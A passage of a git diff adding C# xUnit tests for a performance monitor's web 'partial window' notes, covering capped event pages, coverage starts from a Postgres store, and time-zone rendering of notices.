+        ("get_pg_write_stats", "pg_write_stats", null, [], ["empty"], "DarlingMcpPgServerStateTools.cs"),
+        ("get_pg_index_usage", "pg_index_usage_stats", "empty", ["index_usage"], ["unavailable"], "DarlingMcpPgIndexUsageTools.cs"),
+    ];
+
+    /* Each read is listed over its raw relation, served by the web mirror, drawn by the page, and admitted for exactly the word
+       its tool answers when it captured and found nothing. The words that say nothing was captured (unavailable, not_collected,
+       not_sampled, precondition) are never admitted. The tools' source holds both halves, so a tool that renames a word fails here. */
+    [Fact]
+    public void ThePostgresWindowReads_AreListedOverTheirTables_AndAdmitOnlyAWordThatMeansCapturedAndFoundNothing()
+    {
+        var dispatch = DarlingWebEndpoints.BuildReadDispatch();
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+
+        foreach (var (read, table, admitted, rowWords, keptWords, file) in PgWindowReads)
+        {
+            Assert.Equal(table, WebDataStartNote.TableByRead[read]);
+            Assert.True(dispatch.ContainsKey(read), read + " is not a read the web mirror serves");
+            Assert.True(WebDataStartNote.TryGetSource(table, out var source), read + " names " + table + ", which the probe cannot read");
+            Assert.Equal(table, source.Relation);
+            Assert.Contains("\"" + read + "\"", tabs, StringComparison.Ordinal);
+
+            var tool = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", file);
+            if (admitted is null)
+            {
+                Assert.DoesNotContain(read, WebDataStartNote.NothingFoundStatusByRead.Keys);
+            }
+            else
+            {
+                Assert.Equal(admitted, WebDataStartNote.NothingFoundStatusByRead[read]);
+                Assert.Contains("\"" + admitted + "\"", tool, StringComparison.Ordinal);
+                Assert.DoesNotContain(admitted, new[] { "unavailable", "not_collected", "not_sampled", "precondition", "invalid" });
+            }
+
+            foreach (var word in rowWords.Concat(keptWords))
+            {
+                Assert.Contains("\"" + word + "\"", tool, StringComparison.Ordinal);
+                Assert.NotEqual(admitted, word);
+            }
+        }
+    }
+
+    /* Behaviour: the admitted word reaches the coverage probe (a store that never connects and a cancelled token show it as an
+       OperationCanceledException), the row words reach it as rows do, and every other word keeps its own message untouched. */
+    [Fact]
+    public async Task ThePostgresWindowReads_SendRowsAndTheirNothingFoundWordToTheProbe_AndLeaveEveryOtherWordAlone()
+    {
+        await using var store = NeverConnects();
+
+        foreach (var (read, _, admitted, rowWords, keptWords, _) in PgWindowReads)
+        {
+            if (admitted is not null)
+            {
+                await Assert.ThrowsAnyAsync<OperationCanceledException>(
+                    () => WebDataStartNote.AddAsync(store, read, "pg01", 168, null, Envelope(admitted), null, Cancelled));
+            }
+
+            foreach (var word in rowWords)
+            {
+                var page = "{\"server\":\"pg01\",\"hours_back\":168,\"status\":\"" + word + "\",\"rows\":[{\"n\":1}]}";
+                await Assert.ThrowsAnyAsync<OperationCanceledException>(
+                    () => WebDataStartNote.AddAsync(store, read, "pg01", 168, null, page, null, Cancelled));
+            }
+
+            foreach (var word in keptWords.Concat(new[] { "unavailable", "not_collected", "invalid", "precondition", "not_sampled" }).Where(w => w != admitted))
+            {
+                var envelope = Envelope(word);
+                Assert.Same(envelope, await WebDataStartNote.AddAsync(store, read, "pg01", 168, null, envelope, null, Cancelled));
+            }
+        }
+    }
+
+    /* A capped page's note shows only when its oldest row is LATER than the window's start, with no slack: a page whose
+       oldest row is the start (or before it) shows the whole range and says nothing, one a second after it was cut there.
+       The window here is the 48 hours ending at WindowEnd, so it starts at 2026-01-01 00:00:00 UTC. The store never connects
+       and the token is cancelled, so a probe in either case would be seen: a capped list asks the store nothing. */
+    [Theory]
+    [InlineData("get_waiting_tasks", "2026-01-01T00:00:00.0000000", false)]
+    [InlineData("get_waiting_tasks", "2025-12-31T23:59:59.0000000", false)]
+    [InlineData("get_waiting_tasks", "2026-01-01T00:00:01.0000000", true)]
+    [InlineData("get_collection_log", "2026-01-01T00:00:00.0000000", false)]
+    [InlineData("get_collection_log", "2025-12-31T23:59:59.0000000", false)]
+    [InlineData("get_collection_log", "2026-01-01T00:00:01.0000000", true)]
+    [InlineData("get_pg_server_config_changes", "2026-01-01T00:00:00", false)]
+    [InlineData("get_pg_server_config_changes", "2025-12-31T23:59:59", false)]
+    [InlineData("get_pg_server_config_changes", "2026-01-01T00:00:01", true)]
+    public async Task ACappedPage_GetsItsNoteOnlyWhenItsOldestRowIsLaterThanTheWindowsStart_WithNoSlack(string read, string oldest, bool noted)
+    {
+        await using var store = NeverConnects();
+        var page = string.Equals(read, "get_pg_server_config_changes", StringComparison.Ordinal)
+            ? CappedPgChanges.Replace("2026-01-02T08:15:00", oldest, StringComparison.Ordinal)
+            : CappedLog.Replace("2026-01-02T12:30:00.0000000", oldest, StringComparison.Ordinal);
+
+        var answered = await WebDataStartNote.AddAsync(store, read, "sql01", 48, WindowEnd, page, null, Cancelled);
+
+        if (!noted)
+        {
+            Assert.Same(page, answered);
+            return;
+        }
+
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.Equal(oldest, answer["effective_start"]?.GetValue<string>());
+        Assert.StartsWith("2026-01-01T00:00:01", answer["oldest_shown_utc"]?.GetValue<string>(), StringComparison.Ordinal);
+        Assert.Equal("2026-01-01T00:00:00.0000000Z", answer["window_start_utc"]?.GetValue<string>());
+        Assert.Equal("2026-01-03T00:00:00.0000000Z", answer["window_end_utc"]?.GetValue<string>());
+        Assert.Null(answer["data_start_utc"]);
+    }
+}
+
+/// <summary>
+/// A Custom Views panel's partial-window notice is written in the browser's zone (#4966). The run's answer carries the
+/// instants its data-start notice names (<c>data_start_utc</c>, <c>window_start_utc</c>, <c>window_end_utc</c>) and the
+/// sentence itself, and the shipped <c>compose.js</c>, run under Node in a zone 5.5 hours from UTC, writes the sentence again
+/// through <c>windowNoteText</c> in the clock the panel's own times use. A row-cap sentence beside it stays as sent, and an
+/// answer without the fields draws the sentence as the server wrote it.
+/// </summary>
+public sealed class ComposedPanelNoticeZoneTests
+{
+    private const string Panel =
+        "{\"source\":\"waiting_tasks\",\"measure\":\"waiting_task_duration_ms\",\"aggregate\":\"max\",\"timeBucket\":\"hour\",\"viz\":\"line\"}";
+
+    private const string Sentence =
+        "partial window: this panel's data starts at 2026-01-02 00:00 UTC, after the window's start at 2025-12-26 00:00 UTC. The panel covers 2026-01-02 00:00 to 2026-01-03 00:00 UTC.";
+
+    private const string RowCapSentence = "Showing the first 500 rows; narrow the window or add a filter to see the rest.";
+
+    private static JsonObject Answer(bool withFields)
+    {
+        var answer = new JsonObject
+        {
+            ["sql"] = "SELECT 1",
+            ["rows"] = new JsonArray(),
+            ["annotations"] = new JsonArray(),
+            ["notice"] = Sentence + " " + RowCapSentence,
+        };
+
+        if (withFields)
+        {
+            answer["data_start_note"] = Sentence;
+            answer["data_start_utc"] = "2026-01-02T00:00:00.0000000Z";
+            answer["window_start_utc"] = "2025-12-26T00:00:00.0000000Z";
+            answer["window_end_utc"] = "2026-01-03T00:00:00.0000000Z";
+        }
+
+        return answer;
+    }
+
+    private static string? Drawn(bool withFields, string zone)
+    {
+        var scenario = new JsonObject
+        {
+            ["panel"] = JsonNode.Parse(Panel),
+            ["scope"] = new JsonObject { ["server"] = "sql01", ["hours"] = 168 },
+            ["answer"] = Answer(withFields),
+        };
+
+        if (!ComposeDataFloorLiveTests.TryRender(scenario, out var drawn, zone))
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return null;
+        }
+
+        Assert.Empty(drawn.GetProperty("errors").EnumerateArray());
+        return Assert.Single(drawn.GetProperty("notices").EnumerateArray()).GetString();
+    }
+
+    [Fact]
+    public void TheNotice_IsWrittenInTheBrowsersZone_NotNamedInUtc_AndTheRowCapSentenceStays()
+    {
+        var shown = Drawn(withFields: true, "Asia/Kolkata");
+        if (shown is null)
+        {
+            return;
+        }
+
+        /* 2026-01-02 00:00 UTC is 05:30 in Kolkata, and the window's start 2025-12-26 05:30: the page's own localTime. */
+        Assert.StartsWith("partial window: this panel's data starts at ", shown, StringComparison.Ordinal);
+        Assert.DoesNotContain("UTC", shown, StringComparison.Ordinal);
+        Assert.Contains("5:30", shown, StringComparison.Ordinal);
+        Assert.EndsWith(" " + RowCapSentence, shown, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The harness loads the shipped <c>compose.js</c> beside a stand-in <c>charts.js</c>. When compose.js imports a name the
+    /// stand-in does not export, Node stops at module link time with a SyntaxError, prints nothing and exits 1, so every
+    /// notice test fails with a bare "harness failed" and no hint why (#5247 added four such imports). This pins the cause
+    /// directly: every name compose.js takes from charts.js is exported by the harness's stand-in.
+    /// </summary>
+    [Fact]
+    public void TheHarnessChartsStandIn_ExportsEveryNameComposeJsImportsFromCharts()
+    {
+        var compose = ReadRepoFile(System.IO.Path.Combine("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "compose.js"));
+        var harness = ReadRepoFile(System.IO.Path.Combine("Darling", "Darling.Tests", "web-compose-notice-harness.mjs"));
+
+        var import = System.Text.RegularExpressions.Regex.Match(compose, @"^import\s*\{([^}]*)\}\s*from\s*""\./charts\.js"";", System.Text.RegularExpressions.RegexOptions.Multiline);
+        Assert.True(import.Success, "compose.js no longer has a named import from ./charts.js; update this pin.");
+        var imported = import.Groups[1].Value.Split(',', StringSplitOptions.TrimEntries | StringSplitOptions.RemoveEmptyEntries);
+        Assert.NotEmpty(imported);
+
+        var stubbed = System.Text.RegularExpressions.Regex.Matches(harness, @"export (?:const|function) (\w+)")
+            .Select(m => m.Groups[1].Value)
+            .ToHashSet(StringComparer.Ordinal);
+        var missing = imported.Where(name => !stubbed.Contains(name)).ToList();
+        Assert.True(missing.Count == 0, "web-compose-notice-harness.mjs's charts.js stand-in does not export: " + string.Join(", ", missing));
+    }
+
+    [Fact]
+    public void AnAnswerWithoutTheInstants_IsDrawnAsTheServerSentIt()
+    {
+        var shown = Drawn(withFields: false, "Asia/Kolkata");
+        if (shown is null)
+        {
+            return;
+        }
+
+        Assert.Equal(Sentence + " " + RowCapSentence, shown);
+    }
+}
diff --git a/Darling/Darling.Tests/WebDataStartNoteEventReadsTests.cs b/Darling/Darling.Tests/WebDataStartNoteEventReadsTests.cs
new file mode 100644
index 0000000000..32fd8eb931
--- /dev/null
+++ b/Darling/Darling.Tests/WebDataStartNoteEventReadsTests.cs
@@ -0,0 +1,219 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The event-time rule and the four SQL Server event reads in the web's data-start note (#4966), the facts that need no
+/// store. The store's side is <see cref="WebDataStartNoteLiveTests"/>.
+/// </summary>
+public sealed class WebDataStartNoteEventReadsTests
+{
+    private const string WindowEnd = "2026-01-03T00:00:00Z";
+
+    /* A data source that never connects and a token that is already cancelled: a read that asks the store throws
+       OperationCanceledException (see WebDataStartNoteTests.NeverConnects). */
+    private static NpgsqlDataSource NeverConnects() =>
+        NpgsqlDataSource.Create("Host=127.0.0.1;Port=9;Username=x;Database=x;Timeout=1;Pooling=false");
+
+    private static readonly CancellationToken Cancelled = new(canceled: true);
+
+    private const string DefaultTraceCapped =
+        "{\"server\":\"sql01\",\"hours_back\":48,\"total_events\":250,\"shown\":2,\"events\":["
+        + "{\"event_time\":\"2026-01-02T18:00:00.0000000Z\",\"event_name\":\"Log File Auto Grow\"},"
+        + "{\"event_time\":\"2026-01-02T12:30:00.0000000Z\",\"event_name\":\"Log File Auto Grow\"}]}";
+
+    private const string LongQueriesTruncated =
+        "{\"server\":\"sql01\",\"hours_back\":48,\"completions_returned\":1,\"truncated\":true,"
+        + "\"oldest_returned_event_time\":\"2026-01-02T12:30:00.0000000Z\",\"newest_returned_event_time\":\"2026-01-02T12:30:00.0000000Z\","
+        + "\"order\":\"duration_ms_desc\",\"completions\":[{\"event_time\":\"2026-01-02T12:30:00.0000000Z\"}]}";
+
+    /// <summary>A Default Trace page cut by its cap (<c>total_events</c> greater than <c>shown</c>) names its oldest event_time
+    /// without asking the store; the control, the same page uncut, does reach it.</summary>
+    [Fact]
+    public async Task ACappedDefaultTracePage_NamesItsOldestEvent_WithoutAskingTheStore()
+    {
+        await using var store = NeverConnects();
+
+        var answered = await WebDataStartNote.AddAsync(store, "get_default_trace_events", "sql01", 48, WindowEnd, DefaultTraceCapped, null, Cancelled);
+
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.Equal("2026-01-02T12:30:00.0000000Z", answer["effective_start"]?.GetValue<string>());
+        Assert.StartsWith("2026-01-02T12:30:00", answer["oldest_shown_utc"]?.GetValue<string>(), StringComparison.Ordinal);
+        Assert.Null(answer["data_start_utc"]);
+        Assert.StartsWith("partial window: this grid shows only the newest rows", answer["truncation_note"]?.GetValue<string>(), StringComparison.Ordinal);
+
+        var uncut = DefaultTraceCapped.Replace("\"total_events\":250", "\"total_events\":2", StringComparison.Ordinal);
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => WebDataStartNote.AddAsync(store, "get_default_trace_events", "sql01", 48, WindowEnd, uncut, null, Cancelled));
+
+        /* A capped page that reaches the window's start says nothing, and asks nothing. */
+        var reaches = DefaultTraceCapped.Replace("2026-01-02T12:30:00", "2025-12-31T12:30:00", StringComparison.Ordinal);
+        var reached = await WebDataStartNote.AddAsync(store, "get_default_trace_events", "sql01", 48, WindowEnd, reaches, null, Cancelled);
+        Assert.Null(Assert.IsType<JsonObject>(JsonNode.Parse(reached))["window_truncated"]);
+    }
+
+    /// <summary>The long query page is the SLOWEST runs, so on <c>truncated: true</c> it is a sample and its oldest event names no
+    /// reach: only the coverage start applies, as the desktop viewer's Long Queries grid does not borrow a ranked page's event.
+    /// The read still goes to the store for the coverage start.</summary>
+    [Fact]
+    public async Task LongQueryCompletions_WithTruncatedTrue_ReadsTheCoverageStart_AndSkipsTheEvent()
+    {
+        await using var store = NeverConnects();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => WebDataStartNote.AddAsync(store, "get_long_query_completions", "sql01", 48, WindowEnd, LongQueriesTruncated, null, Cancelled));
+        Assert.DoesNotContain("get_long_query_completions", WebDataStartNote.CappedByRead.Keys);
+        Assert.Equal("oldest_returned_event_time", WebDataStartNote.EventTimeByRead["get_long_query_completions"].Field);
+        Assert.True(WebDataStartNote.EventTimeByRead["get_long_query_completions"].PageIsRanked);
+        Assert.False(WebDataStartNote.EventTimeByRead["get_blocked_process_xml"].PageIsRanked);
+
+        var source = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "WebDataStartNote.cs");
+        Assert.Contains("var sampled = eventTime.PageIsRanked && ", source, StringComparison.Ordinal);
+        Assert.Contains("? dataStart", source, StringComparison.Ordinal);
+    }
+
+    /// <summary>The capped set is exactly the twenty reads (#4966): the four that read <c>collection_time</c>, the two SQL Server event reads,
+    /// the nine system_health reads, and the five Blocking, Deadlocks and PostgreSQL event log reads.</summary>
+    [Fact]
+    public void CappedByRead_IsExactlyTheTwentyCappedReads()
+    {
+        Assert.Equal(
+            [
+                "get_blocked_process_xml", "get_blocking", "get_collection_log", "get_deadlock_detail", "get_deadlocks",
+                "get_default_trace_events", "get_health_parser_cpu_tasks", "get_health_parser_io_issues", "get_health_parser_memory_broker", "get_health_parser_memory_conditions",
+                "get_health_parser_memory_node_oom", "get_health_parser_scheduler_issues", "get_health_parser_severe_errors", "get_health_parser_significant_waits", "get_health_parser_system_health",
+                "get_pg_deadlocks", "get_pg_log_events", "get_pg_server_config_changes", "get_plan_corrections", "get_waiting_tasks",
+            ],
+            WebDataStartNote.CappedByRead.Keys.Order(StringComparer.Ordinal).ToArray());
+        foreach (var read in WebDataStartNote.NewestFirstCappedReads)
+        {
+            Assert.Contains(read, WebDataStartNote.CappedByRead.Keys);
+        }
+
+        var endpoints = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
+        Assert.Contains("WebDataStartNote.CappedByRead.ContainsKey(name)", endpoints, StringComparison.Ordinal);
+    }
+
+    /// <summary>A capped blocked process page names its oldest event without asking the store, beside the Default Trace case.</summary>
+    [Fact]
+    public async Task ACappedBlockedProcessXmlPage_NamesItsOldestEvent_WithoutAskingTheStore()
+    {
+        await using var store = NeverConnects();
+        const string page = "{\"server\":\"sql01\",\"reports_returned\":1,\"truncated\":true,"
+            + "\"oldest_returned_event_time\":\"2026-01-02T12:30:00.0000000Z\",\"order\":\"event_time_desc\"}";
+
+        var answered = await WebDataStartNote.AddAsync(store, "get_blocked_process_xml", "sql01", 48, WindowEnd, page, null, Cancelled);
+
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.Equal("2026-01-02T12:30:00.0000000Z", answer["effective_start"]?.GetValue<string>());
+    }
+
+    /// <summary>The nine system_health reads: tool, the rows key, the count key beside <c>shown</c>.</summary>
+    public static TheoryData<string, string, string> HealthReads => new()
+    {
+        { "get_health_parser_system_health", "entries", "total_entries" },
+        { "get_health_parser_severe_errors", "errors", "error_count" },
+        { "get_health_parser_io_issues", "issues", "issue_count" },
+        { "get_health_parser_scheduler_issues", "issues", "issue_count" },
+        { "get_health_parser_memory_conditions", "events", "event_count" },
+        { "get_health_parser_cpu_tasks", "events", "event_count" },
+        { "get_health_parser_memory_broker", "events", "event_count" },
+        { "get_health_parser_memory_node_oom", "events", "event_count" },
+        { "get_health_parser_significant_waits", "waits", "wait_count" },
+    };
+
+    /// <summary>Each system_health read is listed against its table, answers <c>empty</c> as nothing found (never <c>unavailable</c>), and
+    /// a page cut by its cap names its oldest event without asking the store; the same page uncut asks the store (#4966).</summary>
+    [Theory]
+    [MemberData(nameof(HealthReads))]
+    public async Task ASystemHealthRead_IsListed_AndACappedPageNamesItsOldestEvent_WithoutAskingTheStore(string read, string rowsKey, string countKey)
+    {
+        Assert.Equal("system_health_events", WebDataStartNote.TableByRead[read]);
+        Assert.Equal("empty", WebDataStartNote.NothingFoundStatusByRead[read]);
+        Assert.Equal(rowsKey, WebDataStartNote.EventTimeByRead[read].RowsKey);
+        Assert.Equal("event_time", WebDataStartNote.EventTimeByRead[read].TimeField);
+        Assert.Equal(countKey, WebDataStartNote.CappedByRead[read].TotalKey);
+
+        await using var store = NeverConnects();
+        string Page(int total) => "{\"server\":\"sql01\",\"hours_back\":48,\"" + countKey + "\":" + total + ",\"shown\":2,\"" + rowsKey + "\":["
+            + "{\"event_time\":\"2026-01-02T18:00:00.0000000Z\"},{\"event_time\":\"2026-01-02T12:30:00.0000000Z\"}]}";
+
+        var answered = await WebDataStartNote.AddAsync(store, read, "sql01", 48, WindowEnd, Page(250), null, Cancelled);
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.Equal("2026-01-02T12:30:00.0000000Z", answer["effective_start"]?.GetValue<string>());
+        Assert.StartsWith("2026-01-02T12:30:00", answer["oldest_shown_utc"]?.GetValue<string>(), StringComparison.Ordinal);
+
+        /* The tool's own keys on a data answer are stripped, so its window_truncated:false cannot hide the web's note. */
+        var withTool = Page(250).Replace("\"hours_back\":48", "\"hours_back\":48,\"window_truncated\":false,\"effective_start\":\"x\"", StringComparison.Ordinal);
+        var stripped = Assert.IsType<JsonObject>(JsonNode.Parse(await WebDataStartNote.AddAsync(store, read, "sql01", 48, WindowEnd, withTool, null, Cancelled)));
+        Assert.True(stripped["window_truncated"]?.GetValue<bool>());
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => WebDataStartNote.AddAsync(store, read, "sql01", 48, WindowEnd, Page(2), null, Cancelled));
+
+        /* The empty answer carries its keys under hints; the web's own note goes through the store, like a row answer. */
+        const string empty = "{\"status\":\"empty\",\"source_observed\":true,\"hints\":{\"window_truncated\":false}}";
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(
+            () => WebDataStartNote.AddAsync(store, read, "sql01", 48, WindowEnd, empty, null, Cancelled));
+        const string unavailable = "{\"status\":\"unavailable\",\"source_observed\":false}";
+        Assert.Equal(unavailable, await WebDataStartNote.AddAsync(store, read, "sql01", 48, WindowEnd, unavailable, null, Cancelled));
+    }
+
+    /// <summary>The system_health CPU line shares its read with the Entries table, and a chart draws no note: the page's note helper
+    /// returns null for any viz other than a table or a stat, so the listed read adds no strip above the line (#4966).</summary>
+    [Fact]
+    public void TheSystemHealthCpuLine_IsAChart_AndTheNoteHelperDrawsNothingForACharts()
+    {
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        var line = tabs.IndexOf("title: \"system_health CPU\"", StringComparison.Ordinal);
+        Assert.True(line > 0);
+        Assert.Contains("viz: \"line\"", tabs.AsSpan(line, 200).ToString(), StringComparison.Ordinal);
+
+        var util = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "util.js");
+        Assert.Contains("(desc.viz !== \"table\" && desc.viz !== \"stat\")) return null;", util, StringComparison.Ordinal);
+    }
+
+    /// <summary>The four reads' premises, in the tools' source: the payload fields the rules read.</summary>
+    [Fact]
+    public void TheFourEventReads_AreListed_AndTheirToolsAnswerTheFieldsTheRulesRead()
+    {
+        Assert.Equal("blocked_process_reports", WebDataStartNote.TableByRead["get_blocked_process_xml"]);
+        Assert.Equal("long_query_completions", WebDataStartNote.TableByRead["get_long_query_completions"]);
+        Assert.Equal("memory_pressure_events", WebDataStartNote.TableByRead["get_memory_pressure_events"]);
+        Assert.Equal("default_trace_events", WebDataStartNote.TableByRead["get_default_trace_events"]);
+
+        Assert.True(WebDataStartNote.TryGetReadSource("get_memory_pressure_events", out var memory));
+        Assert.Equal("memory_pressure_events", memory.Relation);
+        Assert.Equal("sample_time", memory.TimeColumn);
+
+        var blocking = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpBlockingTools.cs");
+        Assert.Contains("order = \"event_time_desc\"", blocking, StringComparison.Ordinal);
+        Assert.Contains("oldest_returned_event_time = McpHelpers.FormatEffectiveStart(withXml.Min(r => r.EventTime))", blocking, StringComparison.Ordinal);
+        var longQueries = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpLongQueryTools.cs");
+        Assert.Contains("order = \"duration_ms_desc\"", longQueries, StringComparison.Ordinal);
+        var trace = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpDefaultTraceTools.cs");
+        Assert.Contains("total_events = significant.Count", trace, StringComparison.Ordinal);
+        Assert.Contains("shown = events.Count", trace, StringComparison.Ordinal);
+        var memoryTool = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpMemoryGrantTools.cs");
+        Assert.Contains("sample_time = r.SampleTime.ToString(\"o\")", memoryTool, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/WebDataStartNoteLiveTests.cs b/Darling/Darling.Tests/WebDataStartNoteLiveTests.cs
new file mode 100644
index 0000000000..b395a3d345
--- /dev/null
+++ b/Darling/Darling.Tests/WebDataStartNoteLiveTests.cs
@@ -0,0 +1,715 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The server page's Waiting Tasks grid over a store (#4966): a server added two days ago, read over 7 days, answers
+/// with where its data starts; a server collected for a month whose first waiting task comes late in the window
+/// answers with nothing, because the store covered the whole window. The answer is the tool's own payload, so the
+/// notice is added to rows the tool really returned.
+///
+/// <para>The grid lists the newest 30 rows, so a window with more than that is cut by the row cap, not by the store,
+/// and the note names the oldest row the read returned, covered range or not. The two coverage cases therefore seed
+/// fewer than 30 rows (the read is not capped); the capped cases seed more.</para>
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres, then works entirely inside it. */
+[Trait("Cost", "Slow")]
+public sealed class WebDataStartNoteLiveTests
+{
+    private const int NewServerId = -496601;
+    private const string NewServerName = "web-data-start-added-two-days-ago";
+    private const int QuietServerId = -496602;
+    private const string QuietServerName = "web-data-start-quiet-start";
+    private const int CappedServerId = -496603;
+    private const string CappedServerName = "web-data-start-capped-list";
+    private const int CoveredServerId = -496604;
+    private const string CoveredServerName = "web-data-start-capped-covered";
+    private const int AggregateServerId = -496605;
+    private const string AggregateServerName = "web-data-start-capped-aggregate";
+
+    /// <summary>The page's row cap for the grid: the newest 30 rows.</summary>
+    private const int PageCap = 30;
+
+    private static DateTime ParseUtc(JsonNode? node) =>
+        DateTime.Parse(node!.GetValue<string>(), CultureInfo.InvariantCulture, DateTimeStyles.RoundtripKind);
+
+    [Fact]
+    public async Task AServerAddedTwoDaysAgo_GetsANoteThatNamesItsFirstCollection_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        var added = store.End.AddDays(-2);
+        /* Hourly rows from a day back: 25, under the cap, so the store, not the cap, is what cuts the window. */
+        await store.SeedAsync(NewServerId, NewServerName, added, firstRow: store.End.AddDays(-1), stepMinutes: 60, ct);
+
+        var answer = await store.AskAsync(NewServerName, hours: 168, ct);
+
+        Assert.False(answer["truncated"]?.GetValue<bool>());
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        var effectiveStart = DateTime.Parse(answer["effective_start"]!.GetValue<string>(), CultureInfo.InvariantCulture, DateTimeStyles.RoundtripKind);
+        Assert.True(Math.Abs((effectiveStart - added).TotalSeconds) < 1, "the data starts at the server's first collection, not its first row");
+        var note = answer["truncation_note"]!.GetValue<string>();
+        Assert.StartsWith("partial window:", note, StringComparison.Ordinal);
+        Assert.Contains(added.ToString("yyyy-MM-dd HH:mm", CultureInfo.InvariantCulture) + " UTC", note, StringComparison.Ordinal);
+        Assert.NotNull(answer["tasks"]);
+
+        /* The same instants as fields (#4966): the page composes the note from them in the browser's zone. The data start
+           is the one effective_start names, the window is the 168 hours asked for, and none of them is a capped list's. */
+        Assert.Equal(effectiveStart.Ticks, ParseUtc(answer["data_start_utc"]).Ticks);
+        var windowStart = ParseUtc(answer["window_start_utc"]);
+        var windowEnd = ParseUtc(answer["window_end_utc"]);
+        Assert.Equal(TimeSpan.FromHours(168), windowEnd - windowStart);
+        Assert.True(Math.Abs((windowEnd - DateTime.UtcNow).TotalSeconds) < 120, "the window ends when the grid was asked");
+        Assert.EndsWith("Z", answer["data_start_utc"]!.GetValue<string>(), StringComparison.Ordinal);
+        Assert.Null(answer["oldest_shown_utc"]);
+    }
+
+    [Fact]
+    public async Task AWindowTheStoreCovered_GetsNoNote_WhenTheFirstRowComesLate_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        /* One row every six hours from six days back: 25, under the cap. */
+        await store.SeedAsync(QuietServerId, QuietServerName, store.End.AddDays(-30), firstRow: store.End.AddDays(-6), stepMinutes: 360, ct);
+
+        var week = await store.AskAsync(QuietServerName, hours: 168, ct);
+        var threeDays = await store.AskAsync(QuietServerName, hours: 72, ct);
+
+        Assert.False(week["truncated"]?.GetValue<bool>());
+        /* The tool's own keys (#4966) say covered: false and no note. The web adds nothing of its own, and the page draws
+           a note only for true. */
+        Assert.NotEqual(true, week["window_truncated"]?.GetValue<bool>());
+        Assert.Null(week["truncation_note"]);
+        Assert.Null(week["data_start_utc"]);
+        Assert.NotNull(week["tasks"]);
+        Assert.NotEqual(true, threeDays["window_truncated"]?.GetValue<bool>());
+        Assert.Null(threeDays["data_start_utc"]);
+    }
+
+    /// <summary>A read that hit its cap lists the newest rows only, so the note names the oldest row it returned, not
+    /// where the table starts (the server was added two days ago, and the rows run a day back at 30 minutes: 49 rows,
+    /// the newest 30 reach 14.5 hours).</summary>
+    [Fact]
+    public async Task ACappedRead_NamesTheOldestRowItReturned_NotWhereTheTableStarts_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        var added = store.End.AddDays(-2);
+        await store.SeedAsync(CappedServerId, CappedServerName, added, firstRow: store.End.AddDays(-1), stepMinutes: 30, ct);
+
+        var answer = await store.AskAsync(CappedServerName, hours: 168, ct);
+
+        var oldestShown = store.End.AddMinutes(-(PageCap - 1) * 30);
+        Assert.True(answer["truncated"]?.GetValue<bool>());
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.True(Math.Abs((ParseUtc(answer["effective_start"]) - oldestShown).TotalSeconds) < 1, "the grid starts at the oldest row the read returned");
+        var note = answer["truncation_note"]!.GetValue<string>();
